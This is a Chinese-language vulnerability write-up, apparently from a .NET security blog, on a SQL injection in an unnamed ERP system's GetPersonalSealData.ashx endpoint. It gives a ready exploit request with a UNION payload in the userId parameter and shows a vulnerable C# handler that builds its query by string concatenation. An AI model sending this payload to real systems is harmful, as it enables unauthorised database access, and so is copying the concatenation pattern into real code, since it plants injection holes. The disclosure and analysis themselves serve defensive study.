.NET 漏洞分析 | 某ERP系统存在SQL注入

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

某邦一体化ERP将企业物流、资金流、信息流等所有资源整合在一起,对销售、采购、生产、成本、库存、分销、运输、财务、人力资源进行规划,在一套系统内解决企业所有的管理问题,数据实时共享,全程监控各个环节的运转和协作,让企业最大限度利用现有资源取得最佳经济效益。国际是一体化ERP十大品牌,专注于企业数智化转型20多年,一体化ERP全面产品线,该ERP GetPersonalSealData.ashx接口存在SQL注入漏洞。

03漏洞复现

近日外部渠爆出该系统存在SQL漏洞,参数userId存在SQL注入漏洞,具体的数据包如下

复制代码
GET /SYSN/json/pcclient/GetPersonal****.ashx?imageDate=1&userId=-2%20union%20select%20@@version-- HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: *
Connection: Keep-Alive

该注入点支持使用多种注入技术进行测试,包括布尔盲注、堆叠查询、基于时间的盲注和 UNION 查询。如下图所示。

堆叠查询使用 DECLARE 和 WAITFOR DELAY 语句,测试注入点是否可以执行多个SQL查询,返回后台数据库版本是 Microsoft SQL Server 2008,并且当前用户具有 DBA(数据库管理员)权限。

04漏洞分析

GetPersonal****.ashx 文件中存在不安全的 SQL 查询处理,会直接将传入的 userId 参数拼接到 SQL 查询字符串中,从而导致 SQL 注入漏洞。具体代码如下所示。

复制代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Web;

public class GetPersonalSealData : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        // 获取请求参数
        string imageDate = context.Request.QueryString["imageDate"];
        string userId = context.Request.QueryString["userId"];
        string query = "SELECT * FROM PersonalSealData WHERE ImageDate = @imageDate AND UserId = " + userId;
    }
    public bool IsReusable
    {
        get { return false; }
    }
}

从 QueryString 中获取 imageDate 和 userId 参数,使用字符串拼接构建 SQL 查询,直接将 userId 参数包含在查询字符串中,导致 SQL 注入漏洞。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

相关推荐
煎蛋学姐2 分钟前
SSM医患交流m8996(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·医患交流系统
麦聪聊数据8 分钟前
为何“零信任”时代需要重构数据库访问层?
数据库·sql
DBA小马哥37 分钟前
InfluxDB迁移?时序数据库国产替代三大难点与实践
数据库·时序数据库
LYOBOYI12338 分钟前
qml程序运行逻辑
java·服务器·数据库
袁煦丞 cpolar内网穿透实验室1 小时前
mysql_exporter+cpolar远程监控 MySQL 不卡壳!cpolar 内网穿透实验室第 712 个成功挑战
服务器·数据库·mysql·远程工作·内网穿透·cpolar
Mikhail_G1 小时前
Mysql数据库操作指南(零基础篇二)
大数据·数据库·sql·mysql·数据分析
一条大祥脚1 小时前
26.1.24 分块|排序|中位数贪心+线段树二分+聚集贪心
数据库·redis·缓存
Anastasiozzzz1 小时前
Redis脑裂问题--面试坑点【Redis的大脑裂开?】
java·数据库·redis·缓存·面试·职场和发展
木土雨成小小测试员1 小时前
Python测试开发之后端一
开发语言·数据库·人工智能·python·django·sqlite
罗汉松驻扎的工作基地1 小时前
sql server开启远程(适用于2014、2017和2008R2)
运维·服务器·数据库